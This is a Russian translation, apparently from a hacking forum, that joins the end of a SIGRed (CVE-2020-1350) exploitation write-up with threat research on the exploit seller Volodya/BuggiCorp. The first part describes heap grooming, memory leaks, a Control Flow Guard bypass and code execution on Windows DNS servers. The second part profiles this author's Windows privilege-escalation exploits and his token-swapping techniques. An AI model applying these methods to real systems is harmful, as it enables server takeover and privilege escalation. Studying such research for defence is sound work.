Если размер памяти меньше или равен 0xa0, WinDNS просто помещает его в начало списка. Нативная куча Windows рассматривает ее как используемую память. Таким образом, мы можем свободно повредить нативные метаданные чанка кучи Windows, потому что метаданные кучи проверяются при выделении и освобождении.
Все значения заголовка кучи WinDNS известны
Заголовок кучи WinDNS содержит метаданные, такие как тип буфера, размер, индекс сегмента, cookie (фиксированное значение). Все значения метаданных известны без необходимости утечки информации. Поскольку мы должны начать эксплуатацию с перезаписи множества объектов в куче, это условие очень полезно для эксплуатации этой ошибки без помощи другой ошибки утечки информации.
Свободные фрагменты хранятся в виде односвязного списка
Такая структура данных может означать, что чанки выделяются и освобождаются в обратном порядке (LIFO). Известны методы злоупотребления свободными чанками в односвязном списке после повреждения памяти. Например:
- Поддельный свободный список для контроля следующего места размещения. Это может привести к перекрыванию чанков, произвольной записи (я думаю, что произвольная запись затруднена в этом случае, потому что файл cookie 8 байтов проверяется до того, как функция Mem_Alloc вернет адрес)
- Управление порядком выделения чанков путем их освобождения в обратном порядке
Мониторинг объектов в куче
Чтобы узнать, какие объекты в куче выделяются при обработке пользовательского запроса, я добавляю точку останова в функцию Mem_Alloc для печати трассировки стека для мониторинга объектов и пути кода. Затем я отправляю на сервер различные DNS-запросы. Ниже приведен его образец.
Я нашел несколько интересных объектов. Во-первых, объект DNS Resource Record (RR) создается каждый раз, когда DNS-сервер Windows кэширует ответ от полномочного сервера имен (SIG-запись, выделенная при срабатывании ошибки, также является объектом RR). Заголовок RR имеет поле размера данных, которое может быть перезаписано и использовано для утечки информации позже. Другой объект - это тайм-аут. Он содержит указатель на функцию с 1 аргументом. Мы можем перезаписать их, чтобы позже управлять регистром RIP (счетчика программ).
Переполнение буфера кучи без сбоев
Теперь этот шаг должен быть легким после изучения большого количества кучи WinDNS. Все, что я сделал, - это заставил сервер выделять много объектов RR, которые никогда не освобождаются во время эксплуатации. Затем, освобождая объект, за которым следует множество объектов RR (общий размер должен быть > 64 КБ), освобожденный чанк будет выделен объектом SIG RR при срабатывании уязвимости.
Утечка информации
При запуске ошибки мы можем перезаписать действительный объект RR, изменив только поле размера данных. Затем мы можем запросить перезаписанный RR для утечки соседнего блока. Утечка переполненных данных бесполезна, поэтому сначала нужно освободить соседний кусок. Куча WinDNS запишет указатель на следующий свободный чанк, после чего мы сможем передать указатель на адрес кучи.
Тщательно обработав переполненные данные и свободный порядок, мы можем получить утечку адреса кучи в переполненной области. Потому что мы можем полностью контролировать переполнение данных, поэтому мы можем создать там поддельный свободный список. Тогда в нашей зоне управления будут размещены новые объекты. Мы можем их читать/писать.
Затем я попытался сделать утечку в модуле dns.exe, найдя объект кучи, содержащий адрес в исполняемом модуле. Я нашел 2 объекта (один указывает на раздел BSS, другой указывает на раздел строк). Нужно выполнить запрос, чтобы сервер выделял объект, который имеет указатель на dns.exe, затем считыть его содержимое, а затем вычислить базовый адрес dns.exe.
**Примечание: при утечке адреса DNS мы можем определить целевую ОС и версию по младшим 12 битам, потому что модуль должен загружаться при запуске страницы памяти.
Контроль счетчика программ (RIP)**
Как упоминалось в предыдущем разделе, объект тайм-аута содержит указатель на функцию с 1 аргументом. Мы можем выделить его в области переполнения, а затем перезаписать для управления ПК. Указатель на функцию в объекте тайм-аута используется в функции dns!Timeout_CleanupDelayedFreeList. Но dns.exe, начиная с Windows Server 2012, компилируется с Control Flow Guard (CFG). При включенном CFG мы можем перейти только к функции, которая находится в разрешенном списке. Если мы попытаемся перейти к эпилогу функции (для запуска ROP), мы закончим сбоем внутри функции ntdll! LdprValidateUserCallTarget, как показано на рисунке ниже (из Windows Server 2012 R2).
Обычной процедурой выполнения кода, когда включен CFG, является изменение адреса возврата в стеке, что требует произвольной возможности записи. Но мы не можем делать произвольную запись сейчас. Мы также не знаем адреса стека потоков. Теперь мы можем контролировать только кучу в области переполнения. Очень редко можно увидеть адрес стека хранилища программ в объекте кучи. Я даже не пытаюсь найти адрес стека в куче.
Затем я попытался выполнить произвольное чтение путем поиска объекта, содержащего указатель на данные. Затем выделил его в нашей области управления и перезаписал указатель. Я ожидал, что сервер разыменует указатель и скопирует мне данные. Но то, что я обнаружил, требует так много условий, не может быть использовано (может быть объект, который можно использовать для произвольного чтения, но я не могу его найти).
Затем я проверил функции в dns.exe, где разрешен CFG, в надежде найти что- нибудь полезное. Большинство функций можно пропустить, потому что мы можем управлять только 1 аргументом. Мы можем полностью игнорировать функции с аргументом больше 1. Потратив бесчисленное количество часов на обход CFG, я обнаружил функцию dns!NsecDNSRecordConvert.
Из декомпилированного кода param_1, очевидно, является указателем на структуру.В строке 15 сервер находит длину буфера для копирования из указателя строки в param_1+0x20. В строке 18 сервер выделяет память для хранения данных. В строке 22 сервер копирует строку в новую выделенную память. С полностью управляемым аргументом функции мы можем заставить функцию копировать данные (в виде строки) с любого адреса в новую выделенную память. Кроме того, мы можем создать новую выделенную память в нашей контролируемой области. Затем прочтитать данные. Таким образом, мы можем выполнять произвольное чтение с помощью функции dns!NsecDNSRecordConvert.
Выполнение кода
Имея возможность вызывать функцию в списке CFG с 1 аргументом и произвольным чтением, я думал сделать выполнение кода с помощью функций kernel32!WinExec или msvcrt!system. Я выбрал msvcrt!system, потому что kernel32.dll, скорее всего, будет изменен ежемесячным патчем Microsoft. Смещение в msvcrt.dll должно использоваться на любом уровне исправлений.
Чтобы выполнить код с помощью системы msvcrt!system, я нахожу функцию msvcrt!Memcpy, читая из таблицы импорта dns.exe, а затем вычисляя адрес msvcrt!system. Наконец, повторяем шаги по контролю PC, и переходим к msvcrt!system. Ура, получите исполнение кода.
После успешной разработки эксплойта для Windows Server 2012R2 я только изменил смещения dns.exe и msvcrt.dll для Windows Server 2016 и Windows Server 2019. И работает отлично.
Примечание. Dll в Windows Server 2019 скомпилированы с подавлением экспорта CFG (на рисунке ниже — msvcrt.dll). Если dns.exe разрешает это, путь эксплойта должен быть намного сложнее.
Демонстрационное видео
Вот демонстрационные видео для Windows Server 2012 R2, Windows Server 2016 и Windows Server 2019.
Ссылки
Автор [https://medium.com/@datafarm.cybers...on-windows-
server-2012-2016-2019-80dd88594228](https://medium.com/@datafarm.cybersecurity/exploiting-
sigred-cve-2020-1350-on-windows-server-2012-2016-2019-80dd88594228)
Автор перевода: yashechka
Переведено специально для https://xss.is
Исследование от: Itay Cohen, Eyal Itkin
В последние месяцы наши группы по исследованию уязвимостей и вредоносного ПО
объединили усилия, чтобы сосредоточить внимание на эксплойтах внутри
вредоносного ПО и, в частности, на самих разработчиках эксплойтов.
Начав с одной рекации на вторжение, мы создали профиль одного из самых
активных разработчиков эксплойтов для Windows, известного как «Volodya» или
«BuggiCorp». К настоящему моменту нам удалось отследить более 10 (!)
Их LPE эксплойтов в ядре Windows, многие из которых на момент разработки
были 0-day.
Предыстория
Наша история начинается, как и все хорошие истории, с случая реакции на
вторжение. При анализе сложной атаки на одного из наших клиентов мы заметили
очень маленький 64-разрядный исполняемый файл, который был запущен вредоносной
программой.
Образец содержал необычные отладочные строки, указывающие на попытку
эксплуатации уязвимости на машине жертвы. Что еще более важно, в образце был
оставшийся путь PDB, который четко и ясно декларировал цель этого двоичного
файла:
...\cve-2019-0859\x64\Release\CmdTest.pdb
. Из-за отсутствия какого-либо
онлайн-ресурса с этой реализацией CVE-2019-0859
мы поняли, что рассматриваем
не общедоступный PoC, а, скорее, реальный инструмент эксплуатации.
Это заинтриговало наc, и мы решили копнуть глубже.
Реверс-инжиниринг эксплойта был довольно простым. Бинарный файл был маленьким,
и отладочные сообщения указывали нам путь. Он использовал уязвимость use after
free (UAF) в CreateWindowEx, чтобы повысить привилегии родительского процесса.
Мы быстро кое-что заметили: казалось, что эксплойт и само вредоносное ПО были
написаны разными людьми. Качество кода, отсутствие обфускации, PDB и временных
меток - все это указывало на сделаный нами вывод.
Распостранение эксплойта
Мы склонны смотреть на людей, стоящих за конкретным семейством вредоносных
программ, как на одно целое. Легче представить, что каждый компонент был
написан одним человеком, командой или группой.
По правде говоря, создание продвинутого вредоносного ПО национальными
государствами или преступниками требует участия разных групп людей с разными
навыками. Организация кибершпионажа национального государства, вероятно,
будет иметь сотни или даже тысячи сотрудников в различных группах и отраслях.
У каждого сотрудника в организации своя роль, отлаженная благодаря специальной
технологической подготовке и многолетнему опыту.
В такой организации рабочая нагрузка по написанию общих компонентов
распределяется между специализированными командами, при этом разные группы
отвечают за разные составляющие атаки:
первоначальный доступ, сбор конфиденциальных данных, боковые перемещения и
многое другое.
Организация, цель которой - встроить модуль эксплойта в свое вредоносное ПО,
не может полагаться только на разработчиков вредоносного ПО. Обнаружение
уязвимости и ее эксплуатация, скорее всего, будет выполняться определенными
группами
или отдельными лицами, которые специализируются на конкретной роли.
Разработчики вредоносных программ, со своей стороны, не заботятся о том, как
это работает за кулисами, они просто хотят интегрировать этот модуль и
покончить с этим.
Чтобы такое разделение труда работало, обе команды должны согласовать некий
API, который будет мостом между различными компонентами. Этот интеграционный
API не является уникальным для государственных субъектов,
но является обычным явлением на «свободном рынке» эксплойтов. Будь то
подпольные форумы, брокеры, использующие эксплойты, или наступательные кибер-
компании, все они предоставляют своим клиентам инструкции о том,
как интегрировать эксплойт в свои вредоносные программы.
По сути, эта точка интеграции является ключевым аспектом, на котором мы хотели
бы сосредоточиться в нашем исследовании. Предполагая, что авторы эксплойтов
работают независимо и распространяют свой код/двоичный модуль только авторам
вредоносных программ, мы решили сосредоточиться на них. Анализируя эксплойты,
встроенные в образцы вредоносных программ, мы можем больше узнать об авторах
эксплойтов, надеясь провести различие между ними, изучив их привычки
программированияи и другие следы, оставленные в качестве ключей к их личности,
при распространении их продуктов среди их коллег, пишущих вредоносное ПО.
Определение разработчика эксплойта
Вместо того, чтобы сосредотачиваться на всей вредоносной программе и искать
новые образцы семейства вредоносных программ или участников, мы хотели
предложить другую перспективу и решили сосредоточиться на этих нескольких
функциях,
написанных разработчиком эксплойта. Получение этого небольшого 64-битного
двоичного файла из случая реагирования на вторжение казалось многообещающим
началом.
Бинарный файл не делал ничего, кроме использования CVE-2019-0859, и не был
основан на исходном коде или POC, которые были доступны в паблике. Он стал для
нас отличным кандидатом на поиск следов, так как исполняемый файл был
доработан из кода,
написанного кем-то ещё, кроме автора эксплойта. Более того, исполняемый файл
был отделен от основного двоичного файла вредоносного ПО, что заставило нас
поверить, что этот эксплойт не был разработан темиже разработчиками что и
вредоносное ПО.
С этой надеждой мы решили найти больше эксплойтов, написанных тем же автором.
Мы начали с сбора простых артефактов из уже имеющегося двоичного файла: строк,
внутреннего имени файла, временных меток и пути PDB. Сразу пришел первый
результат - 32-битный исполняемый файл, который полностью соответствовал
64-битному образцу. В частности, как показали их временные метки и встроенный
путь PDB, они были скомпилированы вместе, в одно и то же время и из одного
исходного кода. Теперь, когда у нас были эти два образца, мы смогли
опеределиться с тем,
что нам следует искать.
Чтобы идентифицировать автора этого эксплойта, мы cосредоточили наше внимание на следующем:
Помня об этих свойствах, мы оглянулись на два имеющихся у нас образца и
отметили некоторые артефакты, которые мы считали уникальными. Несмотря на то,
что у нас было только два небольших двоичных файла (которые по сути были
одинаковыми),
мы смогли создать правила поиска, чтобы найти больше образцов, написанных этим
разработчиком. К нашему удивлению, нам удалось найти их больше, чем мы
ожидали.
Один за другим начали появляться десятки образцов, и с каждым из них мы
улучшали наши правила и методики охоты. Тщательно проанализировав образцы, мы
смогли понять, какие образцы эксплуатировали какие CVE,
и на основе этого создали временную шкалу, чтобы понять, был ли эксплойт 0-day
или 1-day. это было реализовано на основе patch-diffing и аналогичных методов.
На данный момент у нас было более 10 CVE , которые мы могли отнести к
одному разработчику эксплойтов, основываясь только на нашей методике снятия
следов и без дополнительных аналитических данных.
Позже из публичных сообщений стало известно имя нашего целевого продавца
эксплойтов: Володя (он же Володимир), ранее известный как BuggiCorp. Похоже,
что мы были не единственными, кто отслеживал этого продавца эксплойтов,
поскольку Касперский несколько раз сообщал о них некоторую соответствующую
информацию. Кроме того, ESET упомянул некоторые инкриминирующие следы Володи в
своем выступлении на VB2019 о Buhtrap.
По словам Касперского, Володя впервые попал в заголовки под их ником
BuggiCorp, когда они объявили о продаже Windows 0-day на известном форуме
Exploit[.]in, со стартовой ценой 95 000 долларов. С годами цена росла, и
некоторые из их 0-day
эксплойтов для Windows LPE продавались по цене до 200 000 долларов. Как было
опубликовано в отчете Касперского и позже подтверждено нами, Володя продавал
эксплойты как преступному ПО, так и группам APT.
Подробнее о его клиентах мы поговорим в разделе «Заказчики».
Эксплойты нашего подопечного
Хотя некоторые из наших первоначальных правил охоты нуждались в некоторой
корректировке, даже немедленные результаты, которые мы получили, были довольно
неожиданными. После дополнительной калибровки нам удалось найти множество
примеров,
все из которых были эксплойтами Local Privilege Escalation (LPE) в Windows. Из
этих образцов мы смогли идентифицировать следующий список CVE, которые
использовались нашим субъектом.
_Примечание:
При классификации эксплойтов мы выбрали консервативный подход при принятии
решения о том, использовалась ли данная уязвимость как 0-Day или 1-Day. Если
другие поставщики средств безопасности приписали эксплойт в условиях дикой
природы нашему подопечному, то это был 0-day. Если мы нашли достаточно
доказательств того, что один из наших образцов действительно является
распространяющимся в дикой природе эксплойтом, как это было описано
поставщиком в их отчете,
мы также отметили его как таковой.
Во всех остальных случаях мы помечали уязвимость как 1-day, предпочитая иметь нижнюю границу отсчета 0-day вместо того, чтобы ошибочно превышать значения. _
СVE-2015-2546
Тип: 1-day
Описание: Use-After-Free в xxxSendMessage (tagPOPUPMENU)
0-day репорт: [FireEye](https://www.fireeye.com/content/dam/fireeye-
www/blog/pdfs/twoforonefinal.pdf)
Был найден в следующих вредоносных ПО: Ursnif, Buhtrap
В наших сэмплах эксплойтов используется техника формирования памяти, отличная
от описанной в первоначальном отчете: spraying Windows вместо Accelerator
Tables. Кроме того,наш самый ранний и самый базовый пример эксплойта содержит
следующий путь PDB, предполагающий, что автору уже известен CVE-ID для этой
уязвимости: «C:\…\volodimir_8\c2\CVE-2015-2546_VS2012\x64\Release\CmdTest.
.pdb»
СVE-2016-0040
Тип: 1-day
Описание: Неинициализированный указатель ядра в WMIDataDevice IOControl
0-day репорт: N/A. Не был использован как 0-day
Был найден в следующих вредоносных ПО: Ursnif
Этот эксплойт использовался в единственном образце, который также содержал
ранее описанный эксплойт для CVE-2015-2546. Этот эксплойт выбран, если целью
является версия Windows более ранняя, чем Windows 8.
В противном случае используется CVE-2015-2546.
СVE-2016-0167
Тип: 0-day
Описание: Use-After-Free в Win32k!xxxMNDestroyHandler
0-day репорт: [FireEye](https://www.fireeye.com/blog/threat-
research/2016/05/windows-zero-day-payment-cards.html).
Был найден в следующих вредоносных ПО: PUNCHBUGGY
Наши образцы эксплойтов идеально согласуются с техническим отчетом об эксплойте в дикой природе.
СVE-2016-0165*
Тип: 1-day
Описание: Use-After-Free в Win32k!xxxMNDestroyHandler
0-day репорт: Обнаружена Kaspersky
Был найден в следующих вредоносных ПО: Ursnif
Это интересный случай. 0-Day нашего подопечного (CVE-2016-0167) был
исправлен Microsoft в апреле 2016 года. Этот же патч также исправил
CVE-2016-0165, который также использовался в дикой природе. В поисках новой
уязвимости,
которую можно было бы использовать, наш субъект, вероятно, исправил
исправления Microsoft и обнаружил уязвимость, которую они считали исправленной
0-Day. Эта уязвимость происходит из исправленной функции,
использованной в их предыдущей уязвимости: Win32k!XxxMNDestroyHandler.
*_Из их образцов эксплойтов для этой уязвимости у нас есть несколько указаний на то, что либо автор эксплойта, либо, по крайней мере, их клиенты были уверены, что им продали эксплойт для CVE-2016-0165. Печальная правда в том,
что после анализа эксплойта мы можем сказать, что эксплуатируемая уязвимость
отличается. _
Эта путаница, вероятно, связана с тем, что Microsoft выпускает одно исправление, которое устраняет несколько уязвимостей, и только они имеют полное соответствие между каждым исправлением кода и выпущенной для него CVE.
СVE-2016-7255
Тип: 0-day
Описание: Повреждение памяти в NtUserSetWindowLongPtr
0-day репорт: Отмечено
[Google](https://security.googleblog.com/2016/10/disclosing-vulnerabilities-
to-protect.html), технический отчёт от
[TrendMicro](https://blog.trendmicro.com/trendlabs-security-intelligence/one-
bit-rule-system-analyzing-cve-2016-7255-exploit-wild/)
Был найден в следующих вредоносных ПО: Был исползован APT28[они же Fancy-Bear,
Sednit], позже использован Ursnif, Dreambot, GandCrab, Cerber, Maze
Наши образцы эксплойтов идеально согласуются с техническим отчетом об эксплойте в дикой природе. Этот конкретный эксплойт позже широко использовался различными организациями-вымогателями. Кроме того, мы видели и другие эксплойты для этой конкретной уязвимости, которые были проданы как 1-Days другим участникам программ-вымогателей.
_Примечание: У нас есть несколько косвенных доказательств того, что именно этот 0-day был упомянут BuggiCorp в[знаменитой рекламе](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/zero- day-auction-for-the-masses/), размещенной на форуме Explot[.]in в мае 2016 года. _
СVE-2017-0001
Тип: 1-day
Описание: Use-After-Free в RemoveFontResourceExW
0-day репорт: N/A. Не был использован как 0-day
Был найден в следующих вредоносных ПО: Был использован Trula, позже Ursnif
Используется как 1-day в операциях, приписываемых Turla ([FireEye](https://www.fireeye.com/blog/threat-research/2017/05/eps- processing-zero-days.html)).
СVE-2017-0263
Тип: 0-Day
Описание: Use-After-Free в win32k!xxxDestroyWindow
0-day репорт: [ESET](https://www.welivesecurity.com/2017/05/09/sednit-adds-
two-zero-day-exploits-using-trumps-attack-syria-decoy/)
Был найден в следующих вредоносных ПО: Был использован APT28[они же Fancy-
Bear, Sednit]
Наши образцы эксплойтов идеально согласуются с техническим отчетом об эксплойте в дикой природе.
**СVE-*2018-8641
Тип: 1-Day
Описание: Двойное Освобождение Памяти в win32k!xxxTrackPopupMenuEx
0-day репорт: N/A. Не был использован как 0-day
Был найден в следующих вредоносных ПО: Magniber
Опять же, определение использованных 1-day обычно сложнее, чем определение 0-day. На этот раз мы не смогли найти ни одного примера, который мог бы намекнуть на уязвимость, которую, по мнению актера, он использовал.
_*Мы определили, что эта конкретная уязвимость была исправлена Microsoft в
декабре 2018 года. После сканирования списка уязвимостей, которые были
устранены в этом исправлении, мы почти уверены,
что Microsoft пометила эту уязвимость как CVE-2018-8641, но мы не можем знать
быть уверенны. _
Обновление : 24 июня 2020 года Касперский опубликовал в своем блоге анализ
эксплойтов, распространяемых с помощью эксплойт-кита Magnitude. В своем
сообщении в блоге Касперский проанализировал эксплойт LPE,
использованный Magniber, приписал его Володе и оценил, что это, вероятно,
CVE-2018-8641. Этот независимый вывод от имени Касперского подтверждает нашу
первоначальную оценку.
СVE-2019-0859
Тип: 0-day
Описание: Use-After-Free в CreateWindowEx
0-day репорт: [Kaspersky](https://securelist.com/new-win32k-zero-day-
cve-2019-0859/90435/)
Был найден в следующих вредоносных ПО: Используется как отдельный компонент
для внедрения или загрузки. Мы не могли связать это с каким-либо конкретным
APT / вредоносным ПО.
Наши образцы эксплойтов идеально согласуются с техническим отчетом об
эксплойте в дикой природе. Наше исследование началось с одного образца
эксплойта, который был обнаружен в сети клиента. В одном из примеров, которые
мы нашли позже,
мы могли видеть эту чистую строку PDB: X:\tools\0day\09-08-2018\x64\Releas \RunPS.pdb
, в отличие от строки PDB в нашем начальном пример:
S:\Work\Inject\cve-2019-0859\Release\CmdTest.pdb
.
СVE-2019-1132*
Тип: 0-day
Описание: NULL указатель в win32k!xxxMNOpenHierarchy (tagPOPUPMENU)
0-day репорт: [ESET](https://www.welivesecurity.com/2019/07/10/windows-zero-
day-cve-2019-1132-exploit/)
Был найден в следующих вредоносных ПО: Был использован _Buhtrap
C:\work\volodimir_65\…pdb
. Однако это единственный эксплойт в
нашем списке, образец которого мы еще не нашли, и поэтому мы не можем быть
уверены в нашей атрибуции этого эксплойта._СVE-2019-1458
Тип: 1-day
Описание: Повреждение памяти при переключении окон
0-day репорт: Kaspersky ([Простой
Отчёт](https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-
operation-wizardopium/95432/), [Более Детальный](https://securelist.com/the-
zero-day-exploits-of-operation-wizardopium/97086/))
Был найден в следующих вредоносных ПО: Был использован WizardOpium
Наш эксплойт не соответствует техническому отчету об эксплойте в дикой
природе. Кроме того, в своем подробном отчете «Лаборатория Касперского»
отметила, что «также интересно, что мы обнаружили еще один однодневный
эксплойт
для этой уязвимости всего через неделю после патча, что указывает на простоту
использования этой уязвимости». И действительно, наша выборка датирована 6
днями после первоначального отчета Касперского.
Итоги по уязвимостям
Вот таблица, в которой перечислены перечисленные уязвимости:
Следы автора
Теперь, когда мы обнаружили более 10 различных эксплойтов Володи, мы можем
рассмотреть их более подробно и ознакомиться с его привычками. С самого начала
нам было ясно, что у нашего подопечного, вероятно, есть простой шаблон,
который они развертывают для различных эксплойтов, так как поток функций
каждого эксплойта и даже порядок различных функций идентичен в большинстве
эксплойтов.
В этом разделе мы описываем набор ключевых характеристик, которые отражают
различные варианты реализации, выбранные Володей при создании шаблона
эксплойта. Мы сравниваем их реализацию с реализацией другого автора
эксплойтов,
известного под ником PlayBit. Путем этого сравнения мы стремимся очертить
широкий спектр вариантов реализации, которые присутствуют в каждой части
эксплойта,
делая набор вариантов реализации каждым автором уникальной «подписью» их
образа мышления и работы.
PlayBit (a.k.a luxor2008)
Используя ту же технику, которую мы использовали для поиска эксплойтов Володи,
нам удалось отследить 5 эксплойтов Windows LPE 1-Day, написанных PlayBit, в
дополнение к другим инструментам, которые автор продавал на протяжении многих
лет.
Мы начали с одного образца CVE-2018-8453 , который используется
программой-вымогателем REvil , и использовали уникальные отпечатки пальцев
PlayBits для поиска новых эксплойтов.
Мы обнаружили следующие 1-day LPE эксплойты для Windows, реализованные этим автором:
Технически PlayBit также продавал два эксплойта для CVE-2019-1069 (уязвимость
SandboxEscaper) и CVE-2020-0787. Однако мы игнорируем эти эксплойты, поскольку
они не являются уязвимостями, связанными с повреждением памяти,
а скорее являются уязвимостями в разных сервисах и, как таковые, имеют разную
структуру.
Примечание: Более глубокий анализ PlayBit и различных эксплойтов, которые они разработали и продали, будет опубликован в следующем сообщении в блоге.
bool elevate(int target_pid)
API во всех примерах эксплойтов Володи всегда один и тот же. Независимо от
того, был ли он встроен в образец вредоносного ПО или был отдельным POC,
эксплойт имел единственную функцию API со следующей сигнатурой:
C:Copy to clipboard
bool elevate(int target_pid)
Сам эксплойт не включает никаких функций для внедрения шелл-кода в другой
процесс или чего-либо подобного.
Он предоставляет системные привилегии желаемому процессу, не принимая в
качестве аргумента ничего, кроме его PID.
Sleep(200)
Самое первое, что делает функция elevate()
сразу после ее вызова вредоносной
программой, - это Sleep()
на постоянный период времени в 200 миллисекунд.
Не совсем понятно, почему Sleep (200) присутствует в шаблоне эксплойтов. Мы
подозреваем, что это сделано для того, чтобы избежать ненужной нестабильности,
особенно потому, что большинство этих эксплойтов основаны на времени (UAF,
гонках).
Поэтому кратковременное ожидание завершения операций, связанных с вводом-
выводом и доступом к памяти, может улучшить стабильность. Поскольку эксплойты
являются частью вредоносного ПО, весь этот связанный с вредоносным ПО код
перед
запуском эксплойта вызовет кратковременный всплеск загрузки ЦП / диска / ОЗУ,
и, возможно, имеет смысл немного успокоиться, прежде чем переходить к самому
эксплойту. Для кратковременной пиковой нагрузки (которая, естественно,
возникает при запуске новых процессов, чтении / записи файлов с диска и т. Д.)
Должно хватить ожидания 200 мс.
Хотя мы заметили изменение этого шаблона в самых последних примерах, эту функцию все еще можно найти в 9 из обнаруженных нами эксплойтов.
К примеру : PlayBit не имеет такой особенности в своих эксплойтах.
Детектирование OS
Сразу после пробуждения от прекрасного сна эксплойт идентифицирует и калибрует
себя под версию Windows цели, чтобы облегчить поддержку как можно большего
количества версий ОС.
Судя по нашим образцам, автор запрашивает ОС двумя способами:
Парсинг заголовков ntdll.dll
Это наиболее часто используемый метод. Дескриптор в ntdll.dll
используется
для поиска смещения в IMAGE_NT_HEADERS
, из которого анализируются поля
MajorOperatingSystemVersion
и MinorOperatingSystemVersion
.
GetVersionEx()
Этот метод обычно используется вместе с предыдущим и только в примерах с 2016
по начало 2017 года. Вероятно, это связано с тем, что этот API теперь устарел.
В обоих этих методах цель состоит в том, чтобы запросить как основную, так и вспомогательную версию ОС и соответствующим образом настроить глобальные переменные эксплойта.
Хотя большинство эксплойтов поддерживают широкий спектр версий Windows,
Володя, похоже, никогда не заботится ни о конкретном пакете обновления
целевого объекта, ни о том, является он сервером Windows или нет.
Помимо интереса к конкретным версиям сборки Windows 10, используемым только в
эксплойте для CVE-2019-1458, наш субъект использует только основные и
второстепенные версии, не более того.
В сравнении с PlayBit: Опять же используется GetVersionEx()
, обычно с
последующим дополнительным анализом основных и второстепенных номеров из
самого блока среды процесса (PEB), как показано на рисунке 7. PEB используется
не только вместо ntdll.dll
, PlayBit также извлекает дополнительную
информацию из вывода GetVersionEx()
, такую как пакет обновления компьютера,
и даже проверяет, использует ли целевой компьютер серверную операционную
систему.
Это явная разница в образе действий обоих участников. Мало того, что они по-
разному извлекают одну и ту же информацию, Володя интересуется гораздо меньшим
объемом информации, чем PlayBit,
даже когда они оба используют одну и ту же уязвимость (CVE-2016-7255).
Как правило, оба субъекта содержат подробные конфигурации для конкретных
версий, из которых они загружают соответствующую информацию после определения
версии ОС. Основное различие между ними заключается в том,
что поток кода в эксплойтах Володи редко зависит от версии ОС, в то время как
PlayBit включает в себя несколько поворотов и ручек, использующих различные
проверки if, которые зависят от версии ОС. Это, в свою очередь,
влияет на их различный интерес к точным деталям версии.
Утечка адресов ядра
В подавляющем большинстве эксплойтов субъект настраивает эксплойт с помощью
примитива утечки указателя ядра. Во всех эксплойтах, кроме CVE-2019-1458, этот
примитив утечки является хорошо известным методом HMValidateHandle
.
HMValidateHandle()
- это внутренняя неэкспортированная функция из
user32.dll
, которая используется различными функциями, такими как isMenu (),
и может использоваться для получения адресов ядра различных объектов Window
во всех версиях Windows до Windows 10 RS4. Этот метод был хорошо известен и
использовался еще в 2011 году, когда большинство руководств по эксплуатации
специально анализировали isMenu(),
чтобы найти адрес HMValidateHandle()
.
Удивительно видеть, что из десятков различных функций, которые можно
использовать для поиска HMValidateHandle()
, cубъект просто следовал хорошо
известным руководствам и также решил использовать isMenu()
. Еще более
удивительно видеть, что эта распространенная техника эксплуатации все еще
работала достаточно хорошо на протяжении многих лет, не давая субъекту стимула
пытаться «спрятаться», выбирая менее известную функцию, такую как
CheckMenuRadioItem()
.
Утечка дает нам следующее:
Эта информация используется в несколько этапов эксплойта:
В сравнении с PlayBit: PlayBit решил реализовать эту функцию через прямой доступ к куче рабочего стола в пользовательском режиме. Подробнее об этом можно будет узнать в будущем блоге, посвященном PlayBit.
Обмен токенами
Конечная цель эксплойта - предоставить системные привилегии нужному процессу в
соответствии с заданным аргументом PID. Традиционно для этого нужно заменить
токен процесса в структуре EPROCESS/KPROCESS
на токен процесса SYSTEM.
Вот несколько распространенных методов для этого. Вы будете удивлены, увидев,
сколько существует различных вариантов реализации этой функции.
Использование символов Ps*
Ядро Windows содержит следующие функции и глобальные переменные, связанной с
процессами:
Выполняя эти функции в режиме ядра, данный шеллкод может легко найти токен
SYSTEM, но он по-прежнему не решает вопроса о том, как назначить его в
требуемом EPROCESS
.
Для этого есть 2 распространенных решения:
EPROCESS
, используя смещение, зависящее от версии.EPROCESS
в поисках нашего собственного указателя (известного по предыдущему вызову PsReferencePrimaryToken) и замена записи, как только будет найдено совпадение.Этот метод требует выполнения кода в режиме ядра, поэтому он будет заблокирован защитой SMEP, если не будет развернут дополнительный обход SMEP.
Сканирование PsList
Распространенной альтернативой для поиска EPROCESS
как целевого, так и
системного процессов является сканирование двусвязного списка процессов,
называемого PsList.
Шаги, включенные в эту технику:
EPROCESS
с целевым PID.SYSTEM EPROCESS
, ища PID, равный 4, или имя SYS *
.Этот метод требует смещения как для первичного токена, так и для LIST_ENTRY
для PsList, в значительной степени требуя, чтобы они оба хранились как часть
конфигурации для конкретной версии.
Основным преимуществом этого метода является то, что, хотя он все еще может
выполняться как простой шелл-код в режиме ядра (как это сделано в эксплойте
CVE-2017-0263
), он также может быть полностью реализован в пользовательском
режиме.
Для этого вам понадобятся два примитива эксплойтов: один для произвольного
чтения (из пространства ядра), а другой для произвольной записи (в
пространство ядра). Запуск в пользовательском режиме решает проблемы, которые
мы подробно описывали ранее в отношении SMEP, делая эту защиту бесполезной
против таких примитивов эксплойтов.
Поскольку токен является объектом с подсчетом ссылок, важно правильно
зарегистрировать ссылку, которая только что была добавлена, чтобы избежать
синего экрана смерти (BSOD) при завершении процесса с повышенными правами.
Фактически, существует два разных счетчика ссылок:
Поскольку наш субъект решил обновить последнее поле счетчика ссылок, потребуются сделать следующее:
Однако, как видно на рисунке 9, мы обнаружили следующую ошибку во всех 32-битных эксплойтах, содержащих эту функцию:
Маска выравнивания при чтении значения счетчика ссылок представляет собой
выравнивание по 8 байтам, в то время при обратной записи используется другая
маска. Если токен будет сохранен в адресе памяти,
который выровнен по 8 байтам и не выровнен по 16 байтам, операция записи
обновит неправильное поле.
В то время как CVE-2016-0040 и CVE-2016-0167 используют технику Ps *,
сканирование PsList, безусловно, является излюбленным способом обмена токенов
для наших субъектов, они используют их в 8 эксплойтах.
В 7 из них они использовали произвольное чтение и произвольную запись из
пользовательского режима.
В сравнении с PlayBit: Во всех их сэмплах мы всегда видели, как PlayBit
использует функции Ps*
для обмена токенами. Это решение вынудило субъект
реализовать несколько обходов SMEP, которые они интегрировали в свои более
поздние
эксплойты для CVE-2016-7255
и CVE-2018-8453
. Этот выбор дизайна объясняет,
почему субъект заботится о реализации правильного примитива произвольного
чтения как части эксплойта. Вместо использования зависящей от версии
конфигурации для смещения токена в EPROCESS
, PlayBit всегда сканирует
EPROCESS
для его поиска, обычно используя 0x300 или 0x600 в качестве
верхнего предела для поиска.
Стоит отметить, что метод повреждения памяти, который используется PlayBit в
различных эксплойтах, также использовался Duqu 2.0 и был проанализирован в
